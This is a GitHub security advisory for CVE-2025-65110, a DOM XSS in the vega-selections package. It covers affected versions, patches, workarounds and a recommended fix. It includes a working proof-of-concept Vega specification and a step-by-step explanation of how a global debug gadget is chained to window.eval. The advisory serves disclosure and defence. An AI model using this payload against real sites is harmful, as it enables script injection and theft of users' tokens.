GHSA-829Q-M3QG-PH8R
Vulnerability from github – Published: 2026-01-05 22:56 – Updated: 2026-01-06 15:51Impact
Applications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.
- Use
vegain an application that attaches bothvegalibrary and avega.Viewinstance similar to the Vega Editor to the globalwindow, or has any other satisfactory function gadgets in the global scope - Allow user-defined Vega
JSONdefinitions (vs JSON that was is only provided through source code)
Patches
- With Vega v6, use
vega-selections@6.1.2(requires ESM) - With Vega v5, use
vega-selections@5.6.3(No ESM needed)
Workarounds
- Do not attach
vegaorvega.Viewinstances to global variables or the window as the editor used to do here . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.
POC Summary
Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a map value with a function copied from the window that results in calling this.foo(this.bar) can be passed to the vlSelectionTuples function, calling the copied map function, allowing DOM XSS to be achieved.
In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.
vlSelectionTuples({
map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,
eventName: event.view.console.log,
_handlers:{
undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
},
_handlerIndex: event.view.eval
})
POC Details
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 350,
"height": 350,
"autosize": "none",
"description": "Toggle Button",
"signals": [
{
"name": "toggle",
"value": true,
"on": [
{
"events": {"type": "click", "markname": "circle"},
"update": "toggle ? false : true"
}
]
},
{
"name": "addFilter",
"on": [
{
"events": {"type": "mousemove", "source": "window"},
"update": "vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})"
}
]
}
]
}
This payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:
on(a, o) {
const u = this.eventName(a)
, d = this._handlers;
if (this._handlerIndex(d[u], a, o) < 0) {
....
}
....
}
- Set
uto the result of callingthis.eventNamewith undefined- For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
- Sets
dtothis._handlers- For our object, we have this defined to be used later
- Calls
this._handlerIndexwith the result ofuindexed into thedobject as the first argument, and undefined as the second two.- For our object,
_handlerIndexis set to window.eval, and when indexing undefined into the_handlers, a string to be evald containing the XSS payload is returned.
- For our object,
This results in XSS by using a globally scoped gadget to get full blown eval.
PoC Link
Navigate here, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.
For a PoC that works even with the AST evaluator, abusing function call gadgets to get access to window.eval with more advanced gadgets, navigate here
Future investigation
In cases where VEGA_DEBUG is not enabled, there could theoretically be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped universal gadgets have been found.
Recommended Fix
In the selectionTuples implementation that backs the vulnerable function call, the code should be changed to check Array.isArray(array) before calling a potentially dangerous user provided .map on the array argument.
Impact
This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.
An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "vega-selections"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "vega-selections"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65110"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-05T22:56:59Z",
"nvd_published_at": "2026-01-05T22:15:51Z",
"severity": "HIGH"
},
"details": "## Impact\n\nApplications meeting these two conditions are at risk of arbitrary JavaScript code execution, even if \"safe mode\" [expressionInterpreter](https://vega.github.io/vega/usage/interpreter/) is used. \n\n1. Use `vega` in an application that attaches both `vega` library and a `vega.View` instance similar to the Vega [Editor](https://github.com/vega/editor) to the global `window`, or has any other satisfactory function gadgets in the global scope\n2. Allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code)\n\n## Patches\n\n- With Vega v6, use `vega-selections@6.1.2` (requires ESM)\n- With Vega v5, use `vega-selections@5.6.3` (No ESM needed)\n\n## Workarounds\n\n- Do not attach `vega` or `vega.View` instances to global variables or the window as the editor used to do [here](https://github.com/vega/editor/blob/e102355589d23cdd0dbfd607a2cc5f9c5b7a4c55/src/components/renderer/renderer.tsx#L239) . This is a development-only debugging practice that should not be used in any situation where Vega/Vega-lite definitions can come from untrusted parties.\n\n### POC Summary\n\nVega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that sets a `map` value with a function copied from the window that results in calling `this.foo(this.bar)` can be passed to the vlSelectionTuples function, calling the copied `map` function, allowing DOM XSS to be achieved. \n\nIn practice, an accessible gadget like this exists in the global VEGA_DEBUG code. \n\n```js\nvlSelectionTuples({\n map: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on,\n eventName: event.view.console.log,\n _handlers:{\n undefined: \u0027alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)\u0027\n },\n _handlerIndex: event.view.eval\n})\n```\n\n### POC Details\n```json\n{\n \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n \"width\": 350,\n \"height\": 350,\n \"autosize\": \"none\",\n \"description\": \"Toggle Button\",\n \"signals\": [\n {\n \"name\": \"toggle\",\n \"value\": true,\n \"on\": [\n {\n \"events\": {\"type\": \"click\", \"markname\": \"circle\"},\n \"update\": \"toggle ? false : true\"\n }\n ]\n },\n {\n \"name\": \"addFilter\",\n \"on\": [\n {\n \"events\": {\"type\": \"mousemove\", \"source\": \"window\"},\n \"update\": \"vlSelectionTuples({map:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:\u0027alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)\u0027},_handlerIndex:event.view.eval})\"\n }\n ]\n }\n ]\n}\n```\n\nThis payload creates a scenario where whenever the mouse is moved, the map function of the provided object is called by the code that implements the vlSelectionTuples function. The map function has been set to a \"gadget function\" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:\n\n```js\n on(a, o) {\n const u = this.eventName(a)\n , d = this._handlers;\n if (this._handlerIndex(d[u], a, o) \u003c 0) {\n ....\n }\n ....\n }\n```\n\n1. Set `u` to the result of calling `this.eventName` with undefined \n - For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined\n4. Sets `d` to `this._handlers`\n - For our object, we have this defined to be used later\n5. Calls `this._handlerIndex` with the result of `u` indexed into the `d` object as the first argument, and undefined as the second two.\n - For our object, `_handlerIndex` is set to window.eval, and when indexing undefined into the `_handlers`, a string to be evald containing the XSS payload is returned.\n \nThis results in XSS by using a globally scoped gadget to get full blown eval. \n\n\n### PoC Link\n\nNavigate [here](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1axACAGU4EEoB4JN5pkEIAAKYDIHCod41SjEGhwWSUABqAFEAOIAQQA+gARemhACqjIpfEoAGEkOJ8hAABIihRBZyUHDONgmJotSgSKTBMmYAByZzgpOqmApVJpUAkYiClACfikrJgUpl+GADChcDWNHEcAUqAA5PE4M5MPi2K5aOJggBqYIAA2CAA0USjghJgqRnGZk1HIwyWRyuby6Uy2QyAEoogCSAHktQBKb2TW32-1ll0AD31H0NlOplCq8XG1YOx2OQA), move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.\n\nFor a PoC that works even with the AST evaluator, abusing function call gadgets to get access to window.eval with more advanced gadgets, navigate [here](https://vega.github.io/editor/#/url/vega/N4IgJAzgxgFgpgWwIYgFwhgF0wBwqgegIDc4BzJAOjIEtMYBXAI0poHsDp5kTykSArJQBWENgDsQAGhAB3GgBN6aAMwCADDPg0yWVRplIGmNhBoAvOGhDiJVmQrjQATjRyZ2k9ABU2ZMgA2cAAEAELGJpIyZmTiSAEQaADaoHEIVugm-kHSIMTxDBmYzoUyEsmgcKTimImooJgAnjgZIFABNFAA1rnIzl1prVA0zu1WAL4yDDgKSJitWYEhAPzBAGbxECGowcWFIOMAupOpSOnWSAoKAGI0AfPOueWoKSBVcDV1Dc2tCGwMWz+pFyYgYo1a8nECjYsgOUxmc1axACAGU4EEoB4JN5pkEIAAKYDIHCod41SjEGhwWSUABqAFEAOIAQQA+gARemhACqjIpfDpVJpOGcbBMTRalFZziccEwACUPo4Zc4pNKlXAVag9nA1ejUAByKrxA16gKhGhQw3xTWYfFsVy0cTBADUwQABsEABoolHBCTBUjOMwB91uhksjlc3l0plshnylEASQA8gA5ACUpstdBo8QscFJ1UwFKFscjnJ5fNIFEoiqhms1lBFYrFPylATYlzVncumqLHxLlOp4wzB2OxyAA)\n\n### Future investigation\n\nIn cases where `VEGA_DEBUG` is not enabled, there could theoretically be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to `eval`, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. `$.globalEval`). As of this writing, no such globally scoped universal gadgets have been found. \n\n### Recommended Fix\nIn the `selectionTuples` [implementation](https://github.com/vega/vega/blob/21677ce895460ca56b7173d64f1883f29cf4bcc4/packages/vega-selections/src/selectionTuples.js#L12) that backs the vulnerable function call, the code should be changed to check `Array.isArray(array)` before calling a potentially dangerous user provided `.map` on the `array` argument.\n\n### Impact\n\nThis vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger. \n\nAn attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application\u2019s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.",
"id": "GHSA-829q-m3qg-ph8r",
"modified": "2026-01-06T15:51:50Z",
"published": "2026-01-05T22:56:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vega/vega/security/advisories/GHSA-829q-m3qg-ph8r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65110"
},
{
"type": "PACKAGE",
"url": "https://github.com/vega/vega"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vega XSS via expression abusing vlSelectionTuples function array map calls in environments with satisfactory function gadgets in the global scope"
}
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
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